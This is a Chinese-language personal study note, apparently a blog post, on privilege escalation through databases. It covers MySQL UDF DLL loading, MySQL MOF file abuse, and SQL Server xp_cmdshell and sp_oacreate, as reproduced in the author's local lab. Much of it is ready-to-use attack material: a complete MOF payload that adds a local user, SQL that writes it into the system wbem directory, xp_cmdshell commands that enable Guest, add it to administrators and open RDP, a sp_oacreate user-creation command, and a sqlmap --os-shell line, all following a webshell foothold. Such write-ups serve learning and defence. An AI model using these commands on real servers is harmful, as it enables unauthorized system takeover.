文章目录
MYSQL提权之UDF:
UDF 全称 ‘user defined function’,‘用户自定义函数’。是通过添加新函数,实现mysql中用户无法通过函数实现功能的拓展
具体原理讲不清楚,有点糊涂,网上关于这方面的资料感觉不是很多,先学会利用吧。
提权流程概述:
我们需要一个root用户权限,最高权限为超级管理员。因为root用户才会具备写入和导入功能,普通低权用户无法执行。如何实现拿到mysql的账号和密码?当我们拿下一个网站的shell的时候,上传一个暗月的数据库提权🐎。这里需要知道数据库的ip 账号和密码和数据库类型,在不存在站库分离的情况下,一般HOST就是我们的localhost。直接查询config.php或者db_creds.inc等即可查询到数据库连接的一些信息
连接成功后会出现以下界面:
接下的操作,就需要根据MYSQL的版本来实现:
当MYSQL本本>5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
当MYSQL版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录,UDF.DLL所在的位置就是我们提权的重点
这里说一下为什么一定要是system32目录下。因为在MYSQL5之后,对DLL注册做了限制,所对应的DLL不能包含’/‘或者’’,也就是说不能是绝对路径,所以这里我们放到system32系统环境变量中直接调用,可以规避这个限制
MYSQL<5.1:
在进行提权之前使用命令看一下当前用户:
select user()
当MYSQL版本小于5.1的时候,我们可以直接将.dll文件导入到system目录中
这里我之前尝试了很多次都没有成功,网上关于这个🐎的介绍也很少。最后还是终于摸索出来了,太菜了。使用方式按照上图就可以了
我们需要知道自己的系统版本好,选择好对应的之后,更改路径目录为system32下然后导出即可
导入之后可以一键创建sys_eval命令拓展,也可以自行输入create function的mysql命令进行创建
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'moonudf.dll'
成功之后界面会给予你相应的显示。
然后自行测试一下是否成功即可
可以看到这里我们已经变为超级管理员
MYSQL>5.1:
依然是先查看自己的当前用户
最开始依然是上传数据库大🐎,然后自行获取到连接密码
我们前面提到过,如果MYSQL版本>5.1的话,需要将dll拓展上传到mysql(自己的路径)/lib/plugin目录中,但是MYSQL默认是不会有这个目录的,所以我们需要自行创建 ,用NTFS ADS流模式突破进而创建文件夹。
select @@basedir; //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; //利用NTFS ADS创建plugin目录
连接成功,查看到版本号是5.7.26
依次执行NTFS ADS流模式命令
select @@basedir;
如果我们在不创建lib/plugin的情况下直接导入,那么会出现以下报错:
继续执行流文件信息:
发现遇到如下报错。
select 'It is dll' into dumpfile 'E:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib::$INDEX_ALLOCATION';
经查阅这里是因为对方开启了安全模式,我们是无法利用这个办法进行提权的,所以,为了完成今天的浮现,我们需要关闭安全模式。
secure_file_priv="" (这个代码)
show global variables like 'secure%';
当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
而MYSQL版本>5.7之后,默认不为空,所以即使在my.ini中我也没有发现设置
将这个代码插入到 mysql 配置文件\my.ini的最后,重启服务,便可以关闭安全模式,或者将该处设置为空即可
很显然我这里是NULL,不能进行任何导入导出。所以必须修改这个变量
但是很遗憾的是,我查看了5.7 5.8的my.inc都没有这个选项,但是无妨,我们可以直接添加到末尾即可,记得要重启服务才能生效
在重启服务之后又出现了新的问题,提示权限不足,排查了一下报错发现这里不应该出现这个问题。确实不应该出现这个问题,除非是这个封装流创建文件这个方式有问题。
这里先跳过数据流创建lib文件,为了复现我们手动创建一个/lib/plgin目录
然后和上面的步骤一样导入DLL即可
sqlmap
sqlmap -d mysql://root:xxxxxx@VPS:3306/mysql --os-shell
总结:
关于这个UDF提权,我们主要是拿到系统的超级管理员,而不是mysql的权限,这一点要注意。
UDF的关键主要是在于将DLL拓展文件导入到指定目录下,MYSQL版本>5.1之后的提权我在本地没有复现成功,都是需要手动创建目录,但是反过来一想, 都可以手动创建了,增删查改的功能那肯定也具备了,还差通过MYSQL提权这点东西?
虽然是复现完了,原理虽然有看,但是我还是不能很好的解释清楚这个原理。就权当是拓展惹的祸吧
MYSQL提权之MOF
分析与概述
原理:利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,写入我们的cmd命令使其被带入执行,从而添加新用户提权。
我自己测试的主机上该目录下并没有该mof文件,因此我们直接导入一个文件。当然这里需要权限,一般来说MOF普通用户是无法执行操作的,即使是拿到了一个shell,也只是普通权限用户,利用条件有些苛刻。
利用条件:mysql5.7 开始默认使用 secure-file-priv 选项,不能随意选择导出路径,所以 mof 提权仅适用于以下条件:
网上有人说操作系统版本低于 win2008 (本文测试使用的08不能复现)即可,也有人说要小于03才可
数据库为 mysql<5.7 且知道登录账号密码并且允许外连(争对mof.php而言需要mysql外连)
流程概述:antword连接,然后上传.mof文件到有权限的文件夹,在antword中使用数据库管理插件执行sql操作:
等待一会即可
使用select user()查看是否添加成功
复现1
这里拿下shell,antword连接,上传准备好的.mof文件
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mofmof mofmof /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
这里我们准备添加账户和密码为mofmof的账号
通过antword执行SQL语句,将www目录下的文件导入到window/system32/wbem/mof/nullevt.mof下
select load_file("E:/phpStudy_pro/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"
然后等一会,再次查询是否添加账户成功
cmd:net user :发现提权失败 应该是我的windows版本问题
复现2:
这里使用mof.php进行提权,antword拿下shell直接上传到🐎
会自动传一个.mof到目标路径下,然后命令执行即可
SQL server提权
在学习提权之前建议自行安装SQLserver和SSMS,sqlserver图形化管理界面操作简单易懂,感觉比MYSQL,phpadmin操作起来方便许多
快速过一遍基础知识,熟悉一个MSSQL和MYSQL的不同
select @@version; #查询数据库的版本
select @@servername; #查询服务名
select host_name(); #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name(); #查询当前数据库名
select db_name(1); #查询第一个数据库名
select db_name(2); #查询第二个数据库名
select user; #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner
use tempdb #切换到tempdb表
top n #查询前n条记录
limit 2,3 #查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1) #截取给定字符串的索引为2的1个字符
select ascii('a') #查询给定字符串的ascii值
select len('string') #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE'; #查询当前数据库的大小
sp_spaceused '表名' #查询指定表名的大小
判断是否是SA权限
select is_srvrolemember('sysadmin')
判断是否是db_owner权限
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')
SA权限xp_cmdshel执行系统命令
注意 前提一定公式SA权限
首先检查自身xp_cmdshell 是否打开,1就是打开了,0就是关闭了
select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
我自己在本地测试的时候,虽然返回值为1,但是执行系统命令的时候依然不可执行,需要重新开启xp_cmdshell配置
成功执行系统命令:
execute('xp_cmdshell "whoami"')
或许到系统权限之后,前提是获取的主机权限是administrators组里的:
可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456' #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes' #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add' #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f' #开启3389端口
在本地开启xp_cmdshell之后我们得关闭:
execute('sp_configure "show advanced options",0') #将该选项的值设置为0
execute('reconfigure') #保存设置
execute('sp_configure "xp_cmdshell", 0') #将xp_cmdshell的值设置为0
execute('reconfigure') #保存设置
execute('sp_configure')
SA权限sp_oacreate执行系统命令
首先看是否可以使用sp_oacreate执行系统命令:
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'
SQLserver阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’ 的访问,可以使用以下命令打开
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
再次执行上述命令,系统虽然执行但是没有回显
虽然没有回显,但是依然可以创建添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'
提权总结
数据库提权不仅包括MYSQL,还包括SQL SEAVER、Oracle提权,这里对MYSQL提权要熟悉一点,有些地方自己也偷懒了,没去搭建环境
——————————————————————————————————————————————————————
总的来说MYSQL提权,只要知道了我们的最终目的,一切都不难
MYSQL中UDF提权是通过system32下导入dll拓展文件执行命令,一切的一切都是为了导入dll到这个目录下,原因是因为MYSQL4.0以上对注册dll路径进行了限制,路径不得包含’‘和’/’,因此只好导入到system32中去,这里呢建议直接使用moon.php,比较好用。
5.0<MYSQL<5.1直接导入到system32即可,MYSQL>5.1需要导入到MYSQL路径/lib/plugin,但是MYSQL默认是没有这个目录的,好像也是从4.0开始取消的还是一直没有,这里记不清楚了。因此需要我们去创建一个/lib/plugin,这里使用网上NTFS ADS流模式突破进而创建文件夹,但是本地复现一直失败,总是提示权限不足,但是一直是root权限,并且secure_file_priv="" 所以也不知道是什么原因出的错。secure_file_priv 这个参数很重要,个人感觉mysql提权利用比较困难。上面的所有一切,都需要secure_file_priv=这个参数为空才可以实现,它允许我们导入导出的路径
其次就是mof提权,mof提权就更简单了,但是利用条件感觉也很苛刻。将.mof上传到c:/windows/system32/wbem/mof/下去,原理可以简单理解为cmd会被带入执行。这里就不用区分版本了,适用于2003及其以下,至少我的08不行(懒得测了,电脑老是出问题),一般都是先传一个.mof到自己的WWW目录,然后使用蚁剑的数据库插件命执行命令导入到目标文件下,然后等待,net user查看是否创建用户成功即可。这里也使用了mof.php🐎,感觉也挺好用的,一键就导入了,我猜测是因为我这里版本的问题,没有复现成功,反正挺好用的。
然后就是关于SQL server提权,一共就学到了两个方法,还有其他方法,比如说权限备份差异写shell,打组合拳的骚操作等等,这些自己还是偷懒了,本地复现比较麻烦。后面遇到了再来操作操作